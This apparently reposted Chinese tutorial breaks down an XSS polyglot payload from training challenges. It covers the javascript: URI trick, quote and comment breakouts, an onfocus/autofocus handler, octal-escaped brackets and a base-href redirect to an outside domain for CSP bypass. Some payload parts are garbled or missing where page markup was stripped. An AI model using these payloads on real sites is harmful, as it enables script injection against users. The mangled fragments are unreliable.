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多语言解决了大部分训练 XSS 肌肉挑战

来源:dev.to

时间:2024-09-15 08:39:38 116浏览 收藏

来到golang学习网的大家,相信都是编程学习爱好者,希望在这里学习文章相关编程知识。下面本篇文章就来带大家聊聊《多语言解决了大部分训练 XSS 肌肉挑战》,介绍一下,希望对大家的知识积累有所帮助,助力实战开发!

多语言解决了大部分训练 XSS 肌肉挑战

javascript://%250aalert?.(1)//
'/*\'/*"/*\"/*`/*\`/*%26apos;)/*

\74k

核心理念:
该有效负载旨在通过在各种 html 上下文中工作来绕过多个 xss 过滤器和安全机制。它结合使用 html 和 javascript 技巧以多种方式注入恶意负载,例如alert()函数。

顶级概念:
多语言基础知识:
多语言是一种可以在多个上下文中执行的有效负载,通常在 html、属性或 javascript 上下文中执行,使其更适合利用 xss 漏洞。
此有效负载的目标是注入 javascript 并跨多个上下文执行警报(1),同时绕过过滤器。
多语言部分:
使用可选链接执行 javascript:

javascript://%250aalert?.(1)//

javascript 协议会触发浏览器中从 url 协议解释 javascript 的负载。
%250a 是换行符 (n) 的 url 编码形式,用于绕过 url 验证或转义过滤器。
alert?.(1) 是 javascript 中的可选链接语法。如果警报存在,它会执行alert(1),绕过对直接调用alert()的严格检查。
// 将其余有效负载作为注释终止以避免错误。
html 标签细分:


本节尝试突破各种 html 标签,如 、<style>、<script>、<textarea> 等。<br> 它提前结束标签(</...>),以便 javascript 可以在标签之后立即执行,绕过基于标签上下文的过滤或限制。<br> 它很紧凑,因为它没有正确关闭每个标签;只需一个结束符号 (>) 就足够了。<br> 报价突破:<br></p> <pre class="brush:php;toolbar:false">/*'/*\'/*"/*\"/*\/%26apos;)/<!-->` </pre> <p>此部分处理打破引号上下文(“、'、`)。它使用 javascript 注释(/.../)来注入和终止可能由过滤器启动的多行注释块。<br> /<em>...</em>/ 对于多行注释和忽略过滤器检查很有用。<br> %26apos;) 是 ' 的 html 实体转义代码,用于打破使用 html 实体进行清理的属性或字符串上下文。<br> 事件处理程序和执行:</p> <p>`<br> 74k<k/contenteditable/autofocus/onfocus=/**/{(alert)(1)}//><br> `<br> 74k<k 是插入任意标签的技巧,其中 74 是 < 的八进制表示形式。这可以绕过通过将 < 转换为八进制实体来清理的过滤器。<br> k 是任意标签(可以是任何字符),具有 contenteditable、a​​utofocus 和 onfocus 属性。<br> 焦点=/**/{(alert)(1)} 确保当元素获得焦点时,执行alert(1)函数。<br> 高级规避技术:</p> <p>`<br> <base/href=//x55.is76--><br> `<br> <base>用于csp绕过。如果基本 url 设置为 //x55.is 等恶意域,则对脚本或资产的相对 url 引用可以触发跨源请求,从而执行外部恶意脚本。<br> /76 是 > 的八进制代码,它用于正确关闭标签,同时绕过转义 < 和 > 的过滤器。这是八进制转义符转换回字符的技巧的一部分。<br> html 注释插入:</p> <p><!--> 是一个简单的 html 注释注入,它结束由过滤器启动的任何 html 注释块,从而允许有效负载转义上下文。<br> 多语言逻辑:<br> 绕过 html 过滤器:多语言使用标签结束、引号突破和事件处理程序来转义多个 html 标签并在不同的上下文中执行 javascript。<br> 绕过 javascript 过滤器:通过注释技术 (/<em>...</em>/, //) 和引号转义,它可以处理多行脚本并防止语法错误。<br> 过滤器规避:通过使用 html 实体、可选链接和八进制转义,它绕过了常见的清理过滤器和 csp 规则。<br> 思维导图摘要:<br> 多语言核心:<br> javascript 执行(警报?.(1))<br> html 上下文突破 ()<br> javascript 字符串注入:<br> 转义引号 (/<em>'/</em>'/<em>"/</em>)<br> 内联注释和多行转义 (//, /<em>...</em>/)<br> html 标签规避:<br> 标记关闭突破 ()<br> 使用事件处理程序 () 进行任意标签注入<br> 高级技巧:<br> < 和 > 的八进制编码(74 和 76)<br> 使用外部 url 绕过 csp (base/href=//x55.is)<br> 最终注射:</p> <blockquote> <p>跨多个浏览器和场景的混合上下文多语言触发。<br> 这种多语言在打破多个上下文、逃避 javascript 字符串处理和 html 标签闭包以及在两者中执行方面非常有效</p> </blockquote> <p>本篇关于《多语言解决了大部分训练 XSS 肌肉挑战》的介绍就到此结束啦,但是学无止境,想要了解学习更多关于文章的相关知识,请关注golang学习网公众号!</p> </div> <div class="labsList"> </div> <div class="articleStatement"> <span class="aRed">声明:</span><b>本文转载于:dev.to 如有侵犯,请联系<a href="javascript:;" class="aRed">study_golang@163.com</a>删除</b> </div> </div> <!-- 最新阅读 --> <div class="contBoxNor"> <div class="contTit"> <div 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